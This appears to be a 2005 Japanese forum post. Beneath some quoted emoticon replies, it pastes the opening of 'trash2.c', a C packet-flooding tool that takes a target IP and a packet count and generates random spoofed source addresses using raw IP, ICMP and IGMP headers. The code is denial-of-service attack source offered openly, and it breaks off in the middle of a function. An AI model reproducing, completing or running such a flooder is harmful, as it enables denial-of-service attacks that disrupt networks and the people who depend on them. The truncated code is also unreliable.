>  2005/10/21 (金) 17:19:41        [qwerty]
> > 悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢悪夢
> > ヽ(`ー´)ノヽ(`ー´)ノ
> ついたヽ(´ー`)ノヤッホウ

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>

void banner(void)
{

  printf("trash2.c - misteri0@unet [outlaw]\n\n");
  printf("\n\n");
}
void usage(const char *progname)
{
  printf("usage:\n");
  printf("./trash  [dst_ip] [# of packets]\n",progname);
  printf("\t[*] [ip_dst] :  ex: 201.12.3.76\n");
  printf("\t[*] [number]  : 100\n");
  printf("\t-----------------------------------------\n");
}
unsigned int randip()
{
  struct hostent *he;
  struct sockaddr_in sin;
  char *buf = (char *)calloc(1, sizeof(char) * 16);

  sprintf(buf, "%d.%d.%d.%d",
          (random()%191)+23,
          (random()%253)+1,

参考:2005/10/21(金)17時17分54秒